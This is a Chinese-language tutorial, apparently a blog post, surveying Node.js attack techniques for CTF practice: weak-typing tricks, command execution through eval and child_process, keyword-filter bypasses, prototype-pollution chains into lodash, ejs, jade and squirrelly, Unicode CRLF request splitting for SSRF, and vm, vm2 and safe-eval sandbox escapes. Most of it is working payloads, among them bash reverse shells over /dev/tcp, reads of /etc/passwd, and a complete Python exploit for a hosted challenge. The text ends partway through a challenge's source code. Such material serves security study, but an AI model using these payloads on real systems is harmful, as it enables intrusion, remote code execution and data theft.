Nodejs漏洞总结

Nodejs语言特性

大小写特性

toUpperCase()
toLowerCase()

对于toUpperCase(): 字符”ı”、”ſ” 经过toUpperCase处理后结果为 “I”、”S”
对于toLowerCase(): 字符”K”经过toLowerCase处理后结果为”k”(这个K不是K)

弱类型比较

大小比较

console.log(1=='1'); //true 
console.log(1>'2'); //false 
console.log('1'<'2'); //true 
console.log(111>'3'); //true 
console.log('111'>'3'); //false 
console.log('asd'>1); //false

总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false

数组比较

console.log([]==[]); //false 
console.log([]>[]); //false
console.log([6,2]>[5]); //true 
console.log([100,2]<'test'); //true 
console.log([1,2]<'2');  //true 
console.log([11,16]<"10"); //false

总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较

还有一些比较特别的相等:

console.log(null==undefined) // 输出:true 
console.log(null===undefined) // 输出:false 
console.log(NaN==NaN)  // 输出:false 
console.log(NaN===NaN)  // 输出:false

变量拼接:

console.log(5+[6,6]); //56,6
console.log("5"+6); //56 
console.log("5"+[6,6]); //56,6 
console.log("5"+["6","6"]); //56,6

MD5的绕过

a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

a[x]=1&b[x]=2
数组会被解析成**[object Object] **

a={'x':'1'}
b={'x':'2'}
 
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
 
a=[1]
b=[2]
 
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

2f6f612f38094b2ab52b16106b4cdaff.png

ES6模板字符串

我们可以使用反引号替代括号执行函数,可以用反引号替代单引号双引号,可以在反引号内插入变量。
但是有一点我们需要注意,模板字符串是将字符串作为参数传入函数中,而参数是一个数组,所以数组遇到${}时,字符串会被分割。

var yake = "sakura";
console.log("hello %s",yake);

image.png

var yake = "sakura";
console.log`hello${yake}world`;

image.png

编码绕过

16进制编码

console.log("a"==="\x61"); // true

unicode编码

console.log("\u0061"==="a"); // true

base编码

eval(Buffer.from('Y29uc29sZS5sb2coImhhaGFoYWhhIik7','base64').toString())

Nodejs危险函数的利用

命令执行

eval

javascript 的 eval 作用就是计算某个字符串,并执行其中的 js 代码。

console.log(eval("document.cookie")); //执行document.cookie
console.log("document.cookie"); //输出document.cookie

我们来搭建一个服务测试一下

var express = require("express");
var app = express();

app.get('/',function(req,res){
    res.send(eval(req.query.a));
console.log(req.query.a);
})

app.listen(1234);
console.log('Server runing at http://127.0.0.1:1234/');

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令
1.exec()
启动一个子进程来执行命令,与spawn()不同的是其接口不同,它有一个回调函数获知子进程的状况。实际使用可以不加回调函数。

require('child_process').exec('calc');
http://127.0.0.1:1234/?a=require('child_process').exec('ping 8ogywq.dnslog.cn');

image.png
我们可以看到成功执行了命令
image.png
我们可以进行反弹shell的操作:

require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');

注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)

PS:如果上下文中没有require(类似于Code-Breaking 2018 Thejs),
则可以使用global.process.mainModule.constructor._load(‘child_process’).exec(‘calc’)来执行命令

2.spawn()
启动一个子进程来执行命令。spawn (命令,{shell:true})。需要开启命令执行的指令。

require('child_process').spawn('whoami',{shell:true});

image.png
3.fork()
与spawn()类似,不同点在于它创建Node的子进程只需指定要执行的JavaScript文件模块即可。用于执行 js 文件,实际利用中需要提前写入恶意文件

require('child_process').fork('C:\\Users\\Sakura\\Desktop\\evil.js');

此时是假设我们已经上传了evil.js文化,我们就可以用fork去执行
如我们在evil.js中代码如下:

console.log("hello hacker");

我们此时访问这个网站

http://127.0.0.1:1234/?a=require(%27child_process%27).fork(%27C:\\Users\\Sakura\\Desktop\\evil.js%27);

如图,命令被成功执行了
image.png
4.execFile()
启动一个子进程来执行可执行文件。实际利用时,在第一个参数位置执行 shell 命令,类似 exec。

require('child_process').execFile("calc",{shell:true});

image.png
注意点:

  1. **spawn()与exec()、execFile()不同的是,后两者创建时可以指定timeout属性**,设置超时时间, 一旦创建的进程运行超过设定的时间将会被杀死。
  2. exec()与execFile()不同的是,**exec()适合执行已有的命令,execFile()适合执行文件**。

后面几个函数的利用方法也是调用上述介绍的四种方法,这里就不再赘述!

settimeout()

settimeout(function,time),该函数作用是两秒后执行函数,function 处为我们可控的参数。

var express = require("express");
var app = express();

setTimeout(()=>{
  console.log("console.log('Hacked')");
},2000);

var server = app.listen(1234,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})

setinterval()

setinterval (function,time),该函数的作用是每个两秒执行一次代码。

var express = require("express");
var app = express();

setInterval(()=>{
  console.log("console.log('Hacked')");
},2000);


var server = app.listen(1234,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})

function()

function(string)(),string 是传入的参数,这里的 function 用法类似于 php 里的 create_function。

var express = require("express");
var app = express();

var aaa=Function("console.log('Hacked')")();

var server = app.listen(1234,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})

文件读写

既然我们可以执行函数,那自然可以进行文件的增删改查。
操作函数后面有Sync代表同步方法

Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。
异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。
建议大家使用异步方法,比起同步,异步方法性能更高,速度更快,而且没有阻塞。


readFile()

require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {
 if (err) throw err;
 console.log(data);
});

readFileSync()

require('fs').readFileSync('/etc/passwd','utf-8')

readdirSync

require('fs').readdirSync('.').toString()

rmdirSync

require('fs').rmdirSync('./daigua').toString()


writeFileSync()

require('fs').writeFileSync('input.txt','sss');

writeFile()

require('fs').writeFile('input.txt','test',(err)=>{})

nodejs危险函数-RCE bypass

原型:

require("child_process").execSync('cat flag.txt')

字符拼接

require("child_process")['exe'%2b'cSync']('cat flag.txt')
//(%2b就是+的url编码)
 
require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")

编码绕过

require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat flag.txt')
require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')
eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwLycpOw==','base64').toString()) //弹计算器

模板拼接

require("child_process")[`${`${`exe`}cSync`}`]('open /System/Applications/Calculator.app/')

其他函数

require("child_process").exec("sleep 3"); 
require("child_process").execSync("sleep 3"); 
require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args* 
require("child_process").spawn('sleep', ['3']); 
require("child_process").spawnSync('sleep', ['3']); 
require("child_process").execFileSync('sleep', ['3']);

nodejs-原型链污染

原理

我们首先要知道这几点:
1.在javascript,每一个实例对象都有一个prototype属性,prototype 属性可以向对象添加属性和方法。

object.prototype.name=value

2.在javascript,每一个实例对象都有一个__proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:

objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

3.不同对象所生成的原型链如下(部分):

var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

知道了以上三点以后,我们来介绍如何进行原型链污染

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
来看一个简单的例子:

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);

image.png
最终输出了两个hello word
为什么object2在没有设置foo属性的情况下,也会输出Hello World呢?就是因为在第二条语句中,我们对object1的原型对象设置了一个foo属性,而object2和object1一样,都是继承了Object.prototype。在获取object2.foo时,由于object2本身不存在foo属性,就会往父类Object.prototype中去寻找。这就造成了 一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。

merge操作导致原型链污染

merge操作是最常见可能控制键名的操作,也最能被原型链攻击。
例子:

function merge(target, source) {
for (let key in source) {
    if (key in source && key in target) {
        merge(target[key], source[key])
    } else {
        target[key] = source[key]
        }
    }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)

object3 = {}
console.log(object3.b)

# merge() 函数用于合并两个数组内容到第一个数组。在本段代码的作用就是将待操作的对象merge到一个空对象中

需要注意的点是:
在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
我们来看下,有和没有JSON解析的区别

<script>
          let o2 = {a:1,"__proto__":{b:2}}
        console.log(o2)
      let object2=JSON.parse('{"a":1,"__proto__":{"b":2}}')
      console.log(object2)
  </script>

image-20220416001143881.png
所以代码在执行过程中会存在这么一步

target[__proto__]=source[__proto__]
可理解为  object.prototype = {"b": 2} 导致了原型链污染

最终输出的结果为:
image.png
可见object3的b是从原型中获取到的,说明Object已经被污染了。

lodash

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

  1. lodash.template 一个简单的模板引擎
  2. lodash.merge 函数或对象的合并

其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。

Code-Breaking 2018 Thejs为例说明分析过程:
题目源码下载:http://code-breaking.com/puzzle/9/

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }
    
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

问题出在lodash.merge()函数,这个函数存在原型链污染漏洞。我们得寻找到可以利用的点。因为通过漏洞可以控制某一种实例对象原型的属性,所以我们需要去寻找一个可以被利用的属性。
image-20220416004841823.png
页面最终会通过lodash.template进行渲染
image-20220416005502144.png
跟踪到lodash/template.js中
QyN5JVOde3YL8aZ.png
如图可以看到options是一个对象,sourceURL是通过下面的语句赋值的,options默认没有sourceURL属性,所以sourceURL默认也是为空。如果我们能够给options的原型对象加一个sourceURL属性,那么我们就可以控制sourceURL的值。
继续往下面看,最后sourceURL传递到了Function函数的第二个参数当中:
pwoVFrOyfzJX42M.png
通过构造chile_process.exec()就可以执行任意代码了。
最终可以构造一个简单的Payload作为传递给主页面的的POST数据(windows调用计算器):

{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}}

(这里直接用require会报错:ReferenceError: require is not defined
p神给了一个更好的payload:

{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}

ejs

主要为两个函数的伪造。
opts.outputFunctionName
opts.escapeFunction

例一
test.js

var express = require('express');
var _= require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置
app.set('views', __dirname);

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
_.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
    res.render ("./test.ejs",{
        message: 'lufei test '
    });
});

//设置http
var server = app.listen(8081, function () {

    var host = server.address().address
    var port = server.address().port

    console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

test.ejs

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

payload:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}

例二

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;    
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: 'login success!'});  
  }else{
    return res.json({ret_code: 2, ret_msg: 'login fail!'});  
  }

});

**payload1**:覆盖 opts.outputFunctionName , 这样构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE。

{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}

**payload2**:伪造 opts.escapeFunction 也可以进行 RCE

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');"}}}

补充: 在 ejs 模板中还有三个可控的参数, 分别为 opts.localsName 和 opts.destructuredLocals 和 opts.filename, 但是这三个无法构建出合适的污染链。

jade

compileDebug的伪造
给出上面题目的payload,可参考着看。

{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/1234 0>&1\"'))"}}
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}

squirrelly

CVE-2021-32819
server.js

const express = require('express')
const squirrelly = require('squirrelly')
const app = express()

app.set('views', __dirname);
app.set('view engine', 'squirrelly')
app.use(express.urlencoded({ extended: false }));
app.get('/', (req, res) => {
   res.render('index.squirrelly', req.query)
})

var server = app.listen(3000, '0.0.0.0', function () {

    var host = server.address().address
    var port = server.address().port

    console.log("Listening on http://%s:%s", host, port)
});

index.squirrelly

<!DOCTYPE html>
<html>
    <head>
        <title>CVE-2021-32819</title>
        <h1>Test For CVE-2021-32819</h1>
    </head>
<body>
    <h1>{{it.variable}}</h1>
</body>
</html>

payload

/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('dir'); //

PS:以下贴出几篇文章,师傅们可以跟进分析:
https://www.aisoutu.com/a/1373814
https://cloud.tencent.com/developer/article/2035888
https://www.freebuf.com/vuls/276112.html
几个node模板引擎的原型链污染分析

nodejs中的ssrf

原理

**虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节 **

> v = "/caf\u{E9}\u{01F436}"
'/café🐶'
> Buffer.from(v,'latin1').toString('latin1')
'/café=6'

Crlf HTTP头注入:
假设一个服务器,接受用户输入,并将其包含在通过HTTP公开的内部服务请求中,像这样:

GET /private-api?q=<user-input-here> HTTP/1.1
Authorization: server-secret-key

如果服务器未正确验证用户输入,则攻击者可能会直接注入协议控制字符到请求里。假设在这种情况下服务器接受了以下用户输入:

"x HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n"

在发出请求时,服务器可能会直接将其写入路径,如下:

GET /private-api?q=x HTTP/1.1

DELETE /private-api
Authorization: server-secret-key

说到底就是\r\n成功生效
接收服务将此解释为两个单独的HTTP请求,一个GET后跟一个DELETE
好的HTTP库通通常包含阻止这一行为的措施,Node.js也不例外:如果你尝试发出一个路径中含有控制字符的HTTP请求,它们会被URL编码:

http.get('http://example.com/\r\n/test').output
[ 'GET /%0D%0A/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]

不幸的是,上述的处理unicode字符错误意味着可以规避这些措施。考虑如下的URL,其中包含一些带变音符号的unicode字符:

'http://example.com/\u{010D}\u{010A}/test'
http://example.com/čĊ/test

当Node.js版本8或更低版本对此URL发出GET请求时,它不会进行转义,因为它们不是HTTP控制字符:

http.get('http://example.com/\u010D\u010A/test').output
[ 'GET /čĊ/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为latin1写入路径时,这些字符将分别被截断为“\r”和“\n”:

Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
'http://example.com/\r\n/test'

Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符
说白了,上面这段的意思就是我们可以利用一些特殊字符,它们在URL请求时不会被转义处理,但是当它到了js引擎时,由于其默认用的是latin1,因此可以将我们用的特殊字符转义得到我们需要的字符,从而达到ssrf的目的

[GYCTF2020]Node Game

source:

var express = require('express'); 
var app = express(); 
var fs = require('fs'); 
var path = require('path'); // 处理文件路径 
var http = require('http'); 
var pug = require(`pug`); // 模板渲染 
var morgan = require('morgan'); // 日志 
const multer = require('multer'); // 用于处理multipart/form-data类型的表单数据,实现上传功能

// 将上传的文件存储在./dist[自动创建]返回一个名为file的文件数组 
app.use(multer({dest: './dist'}).array('file')); 
// 使用简化版日志 
app.use(morgan('short'));  

// 静态文件路由 
app.use("/uploads", express.static(path.join(__dirname, '/uploads'))) 
app.use("/template", express.static(path.join(__dirname, '/template')))  
app.get('/', function (req, res) {    
  // GET方法获取action参数    
  var action = req.query.action ? req.query.action : "index";    
  // action中不能包含/ & \    
  if (action.includes("/") || action.includes("\\")) {        
    res.send("Errrrr, You have been Blocked");    
  }    
  
  // 将/template/[action].pug渲染成html输出到根目录    
  file = path.join(__dirname + '/template/' + action + '.pug');    
  var html = pug.renderFile(file);    
  res.send(html); 
});  

app.post('/file_upload', function (req, res) {    
  var ip = req.connection.remoteAddress; // remoteAddress无法伪造,因为TCP有三次握手,伪造源IP会导致无法完成TCP连接    
  var obj = {msg: '',}    
  // 请求必须来自localhost    
  if (!ip.includes('127.0.0.1')) {        
    obj.msg = "only admin's ip can use it"        
    res.send(JSON.stringify(obj));        
    return    
  }    
  fs.readFile(req.files[0].path, function (err, data) {        
    if (err) {            
      obj.msg = 'upload failed';            
      res.send(JSON.stringify(obj));        
    } else {            
      // 文件路径为/uploads/[mimetype]/filename,mimetype可以进行目录穿越实现将文件存储至/template并利用action渲染到界面            
      var file_path = '/uploads/' + req.files[0].mimetype + "/";            
      var file_name = req.files[0].originalname            
      var dir_file = __dirname + file_path + file_name            
      if (!fs.existsSync(__dirname + file_path)) {                
        try {                    
          fs.mkdirSync(__dirname + file_path)                
        } catch (error) {                    
          obj.msg = "file type error";                    
          res.send(JSON.stringify(obj));                    
          return                
        }            
      }            
      try {                
        fs.writeFileSync(dir_file, data)                
        obj = {msg: 'upload success', filename: file_path + file_name}            
      } catch (error) {                
        obj.msg = 'upload failed';            
      }            
      res.send(JSON.stringify(obj));        
    }    
  }) 
})  

// 查看题目源码 
app.get('/source', function (req, res) {    
  res.sendFile(path.join(__dirname + '/template/source.txt')); });  
app.get('/core', function (req, res) {    
  var q = req.query.q;    
  var resp = "";    
  if (q) {        
    var url = 'http://localhost:8081/source?' + q        
    console.log(url)        
   
    // 对url字符进行waf        
    var trigger = blacklist(url);        
    if (trigger === true) {            
      res.send("error occurs!");        
    } else {            
      try {                
      
        // node对/source发出请求,此处可以利用字符破坏进行切分攻击访问/file_upload路由(❗️此请求发出者为localhost主机),实现对remoteAddress的绕过                
        http.get(url, function (resp) {                    
          resp.setEncoding('utf8');                    
          resp.on('error', function (err) {                        
            if (err.code === "ECONNRESET") {                            
              console.log("Timeout occurs");                        
            }                    
          });                    
          
          // 返回结果输出到/core                    
          resp.on('data', function (chunk) {                        
            try {                            
              resps = chunk.toString();                            
              res.send(resps);                        
            } catch (e) {                            
              res.send(e.message);                        
            }                    
          }).on('error', (e) => {                        
            res.send(e.message);                    
          });                
        });            
      } catch (error) {                
        console.log(error);            
      }        
    }    
  } else {        
    res.send("search param 'q' missing!");    
  } 
})  
// 关键字waf 利用字符串拼接实现绕过 
function blacklist(url) {    
  var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];    
  var arrayLen = evilwords.length;     
  for (var i = 0; i < arrayLen; i++) {        
    const trigger = url.includes(evilwords[i]);        
    if (trigger === true) {            
      return true        
    }    
  } 
}  
var server = app.listen(8081, function () {    
  var host = server.address().address    
  var port = server.address().port    
  console.log("Example app listening at http://%s:%s", host, port) 
})

exp:

import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'

session = requests.Session()
session.trust_env = False
response1 = session.get('http://3d02a3de-3cbc-4f99-ab55-9fa306637282.node4.buuoj.cn:81/core?q=' + payload)
response = session.get('http://3d02a3de-3cbc-4f99-ab55-9fa306637282.node4.buuoj.cn:81/?action=lmonstergg')
print(response.text)

vm沙箱逃逸

原理

context
vm 模块创建一个V8虚拟引擎 context(上下文、环境)来编译和运行代码。

context 是语境、环境、上下文的意思,类似于文章的语境,一句话的意思需要根据语境推断,即文章的上下文。以此类比,这里的 context 是 JavaScript 代码所处的环境(有点像作用域的概念),一条代码语句在不同的环境执行的结果也不同。

调用代码与被调用代码处于不同的 context,意味着它们的 global 对象是不同的。
例子:

const vm = require('vm');

// global下定义一个 x 变量
const x = 1;

// context也定义一个 x 变量
const context = { x: 2 };
vm.createContext(context);          // 语境化 {x:2}

// code包含的代码将在 context 下执行,所以其中所有代码访问的变量都是 context 下的
const code = 'x += 40; var y = 17;';
vm.runInContext(code, context);

// context = {x:42, y:17}
console.log(context.x); // 42
console.log(context.y); // 17

// global没有被改动
console.log(x); // 1; y is not defined.

code执行的环境是 context ,它访问的全局对象就是访问自定义的 context 对象。
contextify 语境化
根据 V8 引擎的文档指明:

在 V8 中,context 是一个执行环境,它允许在隔离的、无关联的一个 V8 实例中运行 JavaScript 应用。你必须为运行的任何JavaScript代码指定所应该处于的 context。

vm.createContext() 有一个 contextobject 参数,用于接收一个对象(如果没有,就在模块内部创建一个),所谓语境化就是创建一个 context(对象) 然后传入 contextObject 作为代码执行环境的过程。

vm逃逸

vm创建一个新的 context 执行 JavaScript 代码,不能访问 global 对象,看起来就像一个沙箱了。
例如我们想要访问 process:

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`process`);   // 默认 context = {}
console.log(xyz);

结果:
image.png
预料之中,因为 process 不存在于新的 context,它存在于原来的 context 中,而原来的 context 的 global 对象有 process 属性:

"use strict";
console.log(process)

image.png
通过对象带有的 constructor 属性逃逸:

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(xyz);  // xyz的值为最后一句JavaScript代码执行的结果,这里是函数返回值

结果:
image.png
this引用的是当前所在的一个对象,这里是传入 contextObject 的对象,它在外部定义,所以它属于外部的 context。通过 .constructor 得到 Object Contrustor ,再通过 .constructor 得到 Function constructor,这是函数的构造函数,通过传入一个包含代码的字符串参数就能创建一个新的函数,最后的 () 就是调用这个函数。
获得 process 之后就能 RCE 了。

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('ipconfig').toString()`);
console.log(xyz);

image.png

vm2

nodejs.js 内置的 vm 模块提供的沙箱环境的隔离程度不高,因此最好不要执行不受信任的代码,这一点在node.js文档中明确指出。
vm2是一个第三方模块,基于vm模块、Proxy特性、require重写来实现,能提供隔离程度更高的沙箱。
vm的例子在vm2运行:

"use strict";
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")()');

image.png
这次通过 this.constructor.constructor 也不能获取 process 了。这是由于 vm2 语境化了在 vm context 中的所有对象,.constructor指向的构造函数并不是外部的 context 。

// vm
"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`this.constructor.constructor`);
console.log(xyz)                       // Function: Function
console.log(xyz === {}.constructor.constructor);       // true

// vm2
"use strict";
const {VM} = require('vm2');
const xyz = new VM().run('this.constructor.constructor');
console.log(xyz)                       // Function: Function
console.log(xyz === {}.constructor.constructor)        // false

vm2逃逸思路
逃逸的思路:我们需要一些沙箱外的东西,它不在沙箱 context 的限制范围内,通过它就能再次访问 constructor 。
**1.异常处理机制 try catch 就能做到这一点,主进程在 try 抛出异常,然后在 catch 捕获 error 对象,通过这个 error 对象引用到 process **

vm2 将该漏洞已修复
const {NodeVM} = require('vm2'); 
nvm = new NodeVM()

nvm.run(`
    try {
        this.process.removeListener(); 
    } 
    catch (host_exception) {
        console.log('host exception: ' + host_exception.toString());
        // 通过 error 对象引用
        host_constructor = host_exception.constructor.constructor;
        host_process = host_constructor('return this')().process;
    child_process = host_process.mainModule.require("child_process");
    console.log(child_process.execSync("whoami").toString());
    }`);

结果:
668e27f4a4304458a6644938470fe5dc.png
其他得一些payload

var handler = {
    get () {
     console.log("get");
    }
  };
var target = {};
var proxy = new Proxy(target, handler);

Object.prototype.has = function(t, k){
    console.log("has");
}

proxy.a; //触发get
"" in proxy; //触发has,这个has是在原型链上定义的w

========================================

"use strict";

var process;

Object.prototype.has = function (t, k) {
    process = t.constructor("return process")();
};

"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()

safe-eval模块逃逸

safe-eval 第三方模块基于内置模块 vm 实现,可以用于执行 JavaScript 代码,默认能访问 V8 引擎的 JavaScript APIs,而不能访问 node.js 的 APIs,但通过传入 context 也能实现对它们的访问。

safeEval(code, [context], [options])

context 是一个包含属性和方法的对象,这些方法和属性从全局,所以要注意传入的属性和方法,否则会造成沙箱逃逸。
在 version <= 0.3.0 中,safe-eval 存在沙箱逃逸的漏洞:

>npm i safe-eval@0.3.0
// test.js
const safeEval = require('safe-eval')
var code = `
    this.constructor.constructor('return process')()
`
var evaluated = safeEval(code)
console.log(evaluated)            // process [....]

image.png
0.4.0 的修补方法是将对象的 constructor 重新定义为 undefined,包括在 context 传入的对象:

const safeEval = require('safe-eval')

var code = 'this.constructor'
var evaluated = safeEval(code)      
console.log(evaluated)             // undefined

var code = 'a'
var evaluated2 = safeEval(code, {a:{})
console.log(evaluated2)           // {constructor: undefined}

safe-eval 1.3.6 版本逃逸

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

payload:

(function () {

const process = clearImmediate.constructor("return process;")();

return process.mainModule.require("child_process").execSync("cat /flag").toString()})()

ctf题目

[GKCTF2020]EZ三剑客-EzNode

链接:https://github.com/Pdsdt/gkctf2020/tree/master/WEB/ez%E4%B8%89%E5%89%91%E5%AE%A2-easynode
这里使用docker搭建
image.png

我们查看下源代码:

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
